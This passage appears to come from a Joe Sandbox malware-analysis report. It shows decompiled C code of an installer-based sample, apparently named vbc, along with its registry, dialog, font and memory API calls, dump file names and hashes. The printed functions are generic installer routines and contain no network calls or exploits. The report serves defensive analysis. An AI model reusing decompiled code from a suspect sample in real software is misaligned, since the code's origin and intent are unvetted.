						return RegDeleteKeyW(_a4, _a8);
					}
					_v12 = 0;
					if(RegEnumValueW(_v8, 0,  &_v536,  &_v12, 0, 0, 0, 0) != 0x103) {
						goto L10;
					}
					goto L3;
				}
				return _t27;
			}

0x00402eb4
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0x00000000
0x00402f08
0x00402f90

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00402EFD
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F49
RegCloseKey.ADVAPI32(?), ref: 00402F52
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F69
RegCloseKey.ADVAPI32(?), ref: 00402F74

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 78d35a7524f1d2205fa0e87ab22fa6bfb41dfe8b1a27fd9ec563711b6eb4cb1f
Instruction ID: ca6229ec891c5908b4c2d3bab14ae3db7b9396451d72a40731f1c02386a45f13
Opcode Fuzzy Hash: 78d35a7524f1d2205fa0e87ab22fa6bfb41dfe8b1a27fd9ec563711b6eb4cb1f
Instruction Fuzzy Hash: DA215A7150010ABBEF119F90CE89EEF7B7DEB50384F100076F909B21A0D7B49E54AA68

Uniqueness

Uniqueness Score: -1.00%

Function 00401D81 Relevance: 7.6, APIs: 5, Instructions: 75
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00401D81(void* __ebx, void* __edx) {
				struct HWND__* _t30;
				WCHAR* _t38;
				void* _t48;
				void* _t53;
				signed int _t55;
				signed int _t60;
				long _t63;
				void* _t65;

				_t53 = __ebx;
				if(( *(_t65 - 0x23) & 0x00000001) == 0) {
					_t30 = GetDlgItem( *(_t65 - 8),  *(_t65 - 0x28));
				} else {
					E00402D84(2);
					 *((intOrPtr*)(__ebp - 0x10)) = __edx;
				}
				_t55 =  *(_t65 - 0x24);
				 *(_t65 + 8) = _t30;
				_t60 = _t55 & 0x00000004;
				 *(_t65 - 0x38) = _t55 & 0x00000003;
				 *(_t65 - 0x18) = _t55 >> 0x1f;
				 *(_t65 - 0x40) = _t55 >> 0x0000001e & 0x00000001;
				if((_t55 & 0x00010000) == 0) {
					_t38 =  *(_t65 - 0x2c) & 0x0000ffff;
				} else {
					_t38 = E00402DA6(0x11);
				}
				 *(_t65 - 0x44) = _t38;
				GetClientRect( *(_t65 + 8), _t65 - 0x60);
				asm("sbb esi, esi");
				_t63 = LoadImageW( ~_t60 &  *0x434f00,  *(_t65 - 0x44),  *(_t65 - 0x38),  *(_t65 - 0x58) *  *(_t65 - 0x18),  *(_t65 - 0x54) *  *(_t65 - 0x40),  *(_t65 - 0x24) & 0x0000fef0);
				_t48 = SendMessageW( *(_t65 + 8), 0x172,  *(_t65 - 0x38), _t63);
				if(_t48 != _t53 &&  *(_t65 - 0x38) == _t53) {
					DeleteObject(_t48);
				}
				if( *((intOrPtr*)(_t65 - 0x30)) >= _t53) {
					_push(_t63);
					E00406484();
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t65 - 4));
				return 0;
			}

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0x00402c2d
0x00402c39

APIs

GetDlgItem.USER32(?,?), ref: 00401D9A
GetClientRect.USER32 ref: 00401DE5
LoadImageW.USER32 ref: 00401E15
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E29
DeleteObject.GDI32(00000000), ref: 00401E39

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 0d14a93a4aa2f7ddc0f91d11ffebc05af74b5a93feb44974f4da7284e64bbe2b
Instruction ID: b69f8f45c5cbb28dd5603d9b1d667d2ce3d3910c133b75fee4ecc707c572ca23
Opcode Fuzzy Hash: 0d14a93a4aa2f7ddc0f91d11ffebc05af74b5a93feb44974f4da7284e64bbe2b
Instruction Fuzzy Hash: 3321F672904119AFCB05DBA4DE45AEEBBB5EF08314F14003AFA45F62A0DB389951DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401E4E Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00401E4E(intOrPtr __edx) {
				void* __edi;
				int _t9;
				signed char _t15;
				struct HFONT__* _t18;
				intOrPtr _t30;
				void* _t31;
				struct HDC__* _t33;
				void* _t35;

				_t30 = __edx;
				_t33 = GetDC( *(_t35 - 8));
				_t9 = E00402D84(2);
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				0x40cdf0->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t33, 0x5a), 0x48));
				ReleaseDC( *(_t35 - 8), _t33);
				 *0x40ce00 = E00402D84(3);
				_t15 =  *((intOrPtr*)(_t35 - 0x20));
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				 *0x40ce07 = 1;
				 *0x40ce04 = _t15 & 0x00000001;
				 *0x40ce05 = _t15 & 0x00000002;
				 *0x40ce06 = _t15 & 0x00000004;
				E0040657A(_t9, _t31, _t33, 0x40ce0c,  *((intOrPtr*)(_t35 - 0x2c)));
				_t18 = CreateFontIndirectW(0x40cdf0);
				_push(_t18);
				_push(_t31);
				E00406484();
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

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0x00402638
0x0040156d
0x00402ba4
0x00402c2d
0x00402c39

APIs

GetDC.USER32(?), ref: 00401E51
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
MulDiv.KERNEL32 ref: 00401E73
ReleaseDC.USER32(?,00000000), ref: 00401E84

Part of subcall function 0040657A: lstrcatW.KERNEL32 ref: 0040671F
Part of subcall function 0040657A: lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll,?,004055D6,Skipped: C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll,00000000), ref: 00406779

CreateFontIndirectW.GDI32(0040CDF0), ref: 00401ED3

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectReleaselstrcatlstrlen
String ID:
API String ID: 2584051700-0
Opcode ID: 687ed4edf854cbed3824faf0125c127d44ccdaa2da2dd8af5b0190bd77e460f4
Instruction ID: 78b13ae86a0973dc2b43aa2eb6c1af0beb3c1ef463c522f55250376beecb9f8a
Opcode Fuzzy Hash: 687ed4edf854cbed3824faf0125c127d44ccdaa2da2dd8af5b0190bd77e460f4
Instruction Fuzzy Hash: 7001B571904241EFEB005BB0EE49B9A3FB4BB15301F108A39F541B71D2C7B904458BED

Uniqueness

Uniqueness Score: -1.00%

Function 732816BD Relevance: 7.5, APIs: 5, Instructions: 41
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E732816BD(struct HINSTANCE__* _a4, short* _a8) {
				_Unknown_base(*)()* _t7;
				void* _t10;
				int _t14;

				_t14 = WideCharToMultiByte(0, 0, _a8, 0xffffffff, 0, 0, 0, 0);
				_t10 = GlobalAlloc(0x40, _t14);
				WideCharToMultiByte(0, 0, _a8, 0xffffffff, _t10, _t14, 0, 0);
				_t7 = GetProcAddress(_a4, _t10);
				GlobalFree(_t10);
				return _t7;
			}

0x732816d7
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0x73281700
0x7328170c

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,732822D8,?,00000808), ref: 732816D5
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,732822D8,?,00000808), ref: 732816DC
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,732822D8,?,00000808), ref: 732816F0
GetProcAddress.KERNEL32(732822D8,00000000,?,00000000,732822D8,?,00000808), ref: 732816F7
GlobalFree.KERNEL32(00000000), ref: 73281700

Memory Dump Source

Source File: 00000004.00000002.680334815.0000000073281000.00000020.00000001.01000000.00000004.sdmp, Offset: 73280000, based on PE: true

Associated: 00000004.00000002.680330419.0000000073280000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.680339813.0000000073284000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.680344167.0000000073286000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_73280000_vbc.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: b36f37ea9bdec25e6d85313484d1ca601bd530c20be1503a2dbafeab9ada48d4
Instruction ID: 87f744e47864dba006a378ebab0265f89643c481e62591d74499a9f1d0f9563b
Opcode Fuzzy Hash: b36f37ea9bdec25e6d85313484d1ca601bd530c20be1503a2dbafeab9ada48d4
Instruction Fuzzy Hash: B9F0AC732061387FD62126A78C4CEEBBE9CDF8B3F5B214215F62C9219086615D01E7F1

Uniqueness

Uniqueness Score: -1.00%

Function 00401C43 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401C43(intOrPtr __edx) {
				int _t29;
				long _t30;
				signed int _t32;
				WCHAR* _t35;
				long _t36;
				int _t41;
				signed int _t42;
				int _t46;
				int _t56;
				intOrPtr _t57;
				struct HWND__* _t63;
				void* _t64;

				_t57 = __edx;
				_t29 = E00402D84(3);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 - 0x18) = _t29;
				_t30 = E00402D84(4);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 + 8) = _t30;
				if(( *(_t64 - 0x1c) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 0x18)) = E00402DA6(0x33);
				}
				__eflags =  *(_t64 - 0x1c) & 0x00000002;
				if(( *(_t64 - 0x1c) & 0x00000002) != 0) {
					 *(_t64 + 8) = E00402DA6(0x44);
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x34)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t61 = E00402DA6();
					_t32 = E00402DA6();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t35 =  ~( *_t31) & _t61;
					__eflags = _t35;
					_t36 = FindWindowExW( *(_t64 - 0x18),  *(_t64 + 8), _t35,  ~( *_t32) & _t32);
					goto L10;
				} else {
					_t63 = E00402D84();
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t41 = E00402D84(2);
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t56 =  *(_t64 - 0x1c) >> 2;
					if(__eflags == 0) {
						_t36 = SendMessageW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8));
						L10:
						 *(_t64 - 0x38) = _t36;
					} else {
						_t42 = SendMessageTimeoutW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8), _t46, _t56, _t64 - 0x38);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x30)) - _t46;
				if( *((intOrPtr*)(_t64 - 0x30)) >= _t46) {
					_push( *(_t64 - 0x38));
					E00406484();
				}
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t64 - 4));
				return 0;
			}

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0x00401ca3
0x00401d06
0x00401d09
0x00401d0f
0x00402ba4
0x00402ba4
0x00402c2d
0x00402c39

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB3
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB

Strings

!, xrefs: 00401C7F

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 56378305e9cef062e59ac21505f1e4874eb63478d5e018d68d94a8de4df44513
Instruction ID: 549e056fbb7746b1afa8e7352ee9f1cbf83a3633853e14f9ff1f16dc1dd81c22
Opcode Fuzzy Hash: 56378305e9cef062e59ac21505f1e4874eb63478d5e018d68d94a8de4df44513
Instruction Fuzzy Hash: 46219C7190420AAFEF05AFA4D94AAAE7BB4FF84304F14453EF601B61D0D7B88941CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00404D46 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00404D46(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v68;
				char _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				signed int _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t44;
				signed int _t46;
				signed int _t50;
				signed int _t52;
				signed int _t53;
				signed int _t55;

				_t23 = _a16;
				_t53 = _a12;
				_t44 = 0xffffffdc;
				if(_t23 == 0) {
					_push(0x14);
					_pop(0);
					_t24 = _t53;
					if(_t53 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t44 = 0xffffffdd;
					}
					if(_t53 < 0x400) {
						_t44 = 0xffffffde;
					}
					if(_t53 < 0xffff3333) {
						_t52 = 0x14;
						asm("cdq");
						_t24 = 1 / _t52 + _t53;
					}
					_t25 = _t24 & 0x00ffffff;
					_t55 = _t24 >> 0;
					_t46 = 0xa;
					_t50 = ((_t24 & 0x00ffffff) + _t25 * 4 + (_t24 & 0x00ffffff) + _t25 * 4 >> 0) % _t46;
				} else {
					_t55 = (_t23 << 0x00000020 | _t53) >> 0x14;
					_t50 = 0;
				}
				_t31 = E0040657A(_t44, _t50, _t55,  &_v68, 0xffffffdf);
				_t33 = E0040657A(_t44, _t50, _t55,  &_v132, _t44);
				_t34 = E0040657A(_t44, _t50, 0x42d268, 0x42d268, _a8);
				wsprintfW(_t34 + lstrlenW(0x42d268) * 2, L"%u.%u%s%s", _t55, _t50, _t33, _t31);
				return SetDlgItemTextW( *0x433ed8, _a4, 0x42d268);
			}

0x00404d4f
0x00404d54
0x00404d5c
0x00404d5d
0x00404d6a
0x00404d72
0x00404d73
0x00404d75
0x00404d77
0x00404d79
0x00404d7c
0x00404d7c
0x00404d83
0x00404d89
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0x00404d90
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0x00404d9a
0x00404d9d
0x00404d9d
0x00404da1
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0x00404db3
0x00404db6
0x00404d5f
0x00404d5f
0x00404d66
0x00404d66
0x00404dbe
0x00404dc9
0x00404ddf
0x00404df0
0x00404e0c

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,-00436000), ref: 00404DE7
wsprintfW.USER32 ref: 00404DF0
SetDlgItemTextW.USER32 ref: 00404E03

Strings

%u.%u%s%s, xrefs: 00404DD1

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 5273c8e1ef6d25911cf1b9a0066a557bca8c43180978e8caf7984b32bac85cc4
Instruction ID: d7f2b51e3f2153b105aad6c1cbcae815e44f670c765de83d30fbb221df5484fa
Opcode Fuzzy Hash: 5273c8e1ef6d25911cf1b9a0066a557bca8c43180978e8caf7984b32bac85cc4
Instruction Fuzzy Hash: AC11D573A041283BDB10656DAC45E9E369CAF81334F254237FA66F21D1EA78D91182E8

Uniqueness

Uniqueness Score: -1.00%

Function 0040248A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E0040248A(void* __eax, int __ebx, intOrPtr __edx, void* __eflags) {
				void* _t20;
				void* _t21;
				int _t24;
				int _t30;
				intOrPtr _t33;
				void* _t34;
				intOrPtr _t37;
				void* _t39;
				void* _t42;

				_t42 = __eflags;
				_t33 = __edx;
				_t30 = __ebx;
				_t37 =  *((intOrPtr*)(_t39 - 0x20));
				_t34 = __eax;
				 *(_t39 - 0x10) =  *(_t39 - 0x1c);
				 *(_t39 - 0x44) = E00402DA6(2);
				_t20 = E00402DA6(0x11);
				 *(_t39 - 4) = 1;
				_t21 = E00402E36(_t42, _t34, _t20, 2);
				 *(_t39 + 8) = _t21;
				if(_t21 != __ebx) {
					_t24 = 0;
					if(_t37 == 1) {
						E00402DA6(0x23);
						_t24 = lstrlenW(0x40b5f0) + _t29 + 2;
					}
					if(_t37 == 4) {
						 *0x40b5f0 = E00402D84(3);
						 *((intOrPtr*)(_t39 - 0x38)) = _t33;
						_t24 = _t37;
					}
					if(_t37 == 3) {
						_t24 = E004032B4( *((intOrPtr*)(_t39 - 0x24)), _t30, 0x40b5f0, 0x1800);
					}
					if(RegSetValueExW( *(_t39 + 8),  *(_t39 - 0x44), _t30,  *(_t39 - 0x10), 0x40b5f0, _t24) == 0) {
						 *(_t39 - 4) = _t30;
					}
					_push( *(_t39 + 8));
					RegCloseKey();
				}
				 *0x434f88 =  *0x434f88 +  *(_t39 - 4);
				return 0;
			}

0x0040248a
0x0040248a
0x0040248a
0x0040248a
0x0040248d
0x00402494
0x0040249e
0x004024a1
0x004024aa
0x004024b1
0x004024b8
0x004024bb
0x004024c1
0x004024cb
0x004024cf
0x004024da
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0x004024eb
0x004024f1
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0x004024f8
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0x0040251d
0x0040251f
0x0040251f
0x00402522
0x004025fd
0x004025fd
0x00402c2d
0x00402c39

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nspDD94.tmp,00000023,00000011,00000002), ref: 004024D5
RegSetValueExW.ADVAPI32 ref: 00402515
RegCloseKey.ADVAPI32(?), ref: 004025FD

Strings

C:\Users\user\AppData\Local\Temp\nspDD94.tmp, xrefs: 004024C6, 004024D4, 004024EB, 004024FF, 0040250A

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nspDD94.tmp
API String ID: 2655323295-4034093022
Opcode ID: a042c767b6986487cf95de5ddc7f1c8febd38642eeecd0575e21ea379906e559
Instruction ID: a32c4fc66ba480c3aafb49ec1434dbeb720bd0d2787204a1d049ba7b64bbfaa1
Opcode Fuzzy Hash: a042c767b6986487cf95de5ddc7f1c8febd38642eeecd0575e21ea379906e559
Instruction Fuzzy Hash: 8B118E71E00119BEEF10AFA5DE49EAEBAB8FF44358F15443AF504F61C1D7B88D40AA58

Uniqueness

Uniqueness Score: -1.00%

Function 00405E0C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00405E0C(WCHAR* _a4) {
				WCHAR* _t9;

				_t9 = _a4;
				_push( &(_t9[lstrlenW(_t9)]));
				_push(_t9);
				if( *(CharPrevW()) != 0x5c) {
					lstrcatW(_t9, 0x40a014);
				}
				return _t9;
			}

0x00405e0d
0x00405e1a
0x00405e1b
0x00405e26
0x00405e2e
0x00405e2e
0x00405e36

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040351A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00405E12
CharPrevW.USER32(?,00000000), ref: 00405E1C
lstrcatW.KERNEL32 ref: 00405E2E

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405E0C

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4017390910
Opcode ID: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction ID: 1a595bf39a0a3392b99637bd72bd9cca8666c17676e511d5d4bf90e80f698eee
Opcode Fuzzy Hash: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction Fuzzy Hash: A8D0A731101930BAC2127B49EC08DDF62ACAE89340341443BF145B30A4CB7C5E5187FD

Uniqueness

Uniqueness Score: -1.00%

Function 732810E1 Relevance: 6.4, APIs: 5, Instructions: 145
memoryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E732810E1(signed int _a8, intOrPtr* _a12, void* _a16, void* _a20) {
				void* _v0;
				void* _t27;
				signed int _t29;
				void* _t30;
				void* _t34;
				void* _t36;
				void* _t38;
				void* _t40;
				void* _t48;
				void* _t54;
				void* _t63;
				void* _t64;
				signed int _t66;
				void* _t67;
				void* _t73;
				void* _t74;
				void* _t77;
				void* _t80;
				void _t81;
				void _t82;
				intOrPtr _t84;
				void* _t86;
				void* _t88;

				 *0x7328506c = _a8;
				 *0x73285070 = _a16;
				 *0x73285074 = _a12;
				_a12( *0x73285048, E73281651, _t73);
				_t66 =  *0x7328506c +  *0x7328506c * 4 << 3;
				_t27 = E732812E3();
				_v0 = _t27;
				_t74 = _t27;
				if( *_t27 == 0) {
					L28:
					return GlobalFree(_t27);
				}
				do {
					_t29 =  *_t74 & 0x0000ffff;
					_t67 = 2;
					_t74 = _t74 + _t67;
					_t88 = _t29 - 0x66;
					if(_t88 > 0) {
						_t30 = _t29 - 0x6c;
						if(_t30 == 0) {
							L23:
							_t31 =  *0x73285040;
							if( *0x73285040 == 0) {
								goto L26;
							}
							E73281603( *0x73285074, _t31 + 4, _t66);
							_t34 =  *0x73285040;
							_t86 = _t86 + 0xc;
							 *0x73285040 =  *_t34;
							L25:
							GlobalFree(_t34);
							goto L26;
						}
						_t36 = _t30 - 4;
						if(_t36 == 0) {
							L13:
							_t38 = ( *_t74 & 0x0000ffff) - 0x30;
							_t74 = _t74 + _t67;
							_t34 = E73281312(E7328135A(_t38));
							L14:
							goto L25;
						}
						_t40 = _t36 - _t67;
						if(_t40 == 0) {
							L11:
							_t80 = ( *_t74 & 0x0000ffff) - 0x30;
							_t74 = _t74 + _t67;
							_t34 = E73281381(_t80, E732812E3());
							goto L14;
						}
						L8:
						if(_t40 == 1) {
							_t81 = GlobalAlloc(0x40, _t66 + 4);
							_t10 = _t81 + 4; // 0x4
							E73281603(_t10,  *0x73285074, _t66);
							_t86 = _t86 + 0xc;
							 *_t81 =  *0x73285040;
							 *0x73285040 = _t81;
						}
						goto L26;
					}
					if(_t88 == 0) {
						_t48 =  *0x73285070;
						_t77 =  *_t48;
						 *_t48 =  *_t77;
						_t49 = _v0;
						_t84 =  *((intOrPtr*)(_v0 + 0xc));
						if( *((short*)(_t77 + 4)) == 0x2691) {
							E73281603(_t49, _t77 + 8, 0x38);
							_t86 = _t86 + 0xc;
						}
						 *((intOrPtr*)( *_a12 + 0xc)) = _t84;
						GlobalFree(_t77);
						goto L26;
					}
					_t54 = _t29 - 0x46;
					if(_t54 == 0) {
						_t82 = GlobalAlloc(0x40,  *0x7328506c +  *0x7328506c + 8);
						 *((intOrPtr*)(_t82 + 4)) = 0x2691;
						_t14 = _t82 + 8; // 0x8
						E73281603(_t14, _v0, 0x38);
						_t86 = _t86 + 0xc;
						 *_t82 =  *( *0x73285070);
						 *( *0x73285070) = _t82;
						goto L26;
					}
					_t63 = _t54 - 6;
					if(_t63 == 0) {
						goto L23;
					}
					_t64 = _t63 - 4;
					if(_t64 == 0) {
						 *_t74 =  *_t74 + 0xa;
						goto L13;
					}
					_t40 = _t64 - _t67;
					if(_t40 == 0) {
						 *_t74 =  *_t74 + 0xa;
						goto L11;
					}
					goto L8;
					L26:
				} while ( *_t74 != 0);
				_t27 = _v0;
				goto L28;
			}

0x732810eb
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0x00000000
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0x00000000
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0x00000000
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0x732811ed
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0x00000000
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0x73281155
0x00000000
0x00000000
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0x00000000
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0x73281162
0x7328119e
0x00000000
0x7328119e
0x00000000
0x732812a1
0x732812a1
0x732812ab
0x00000000

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 73281171
GlobalAlloc.KERNEL32(00000040,?), ref: 732811E3
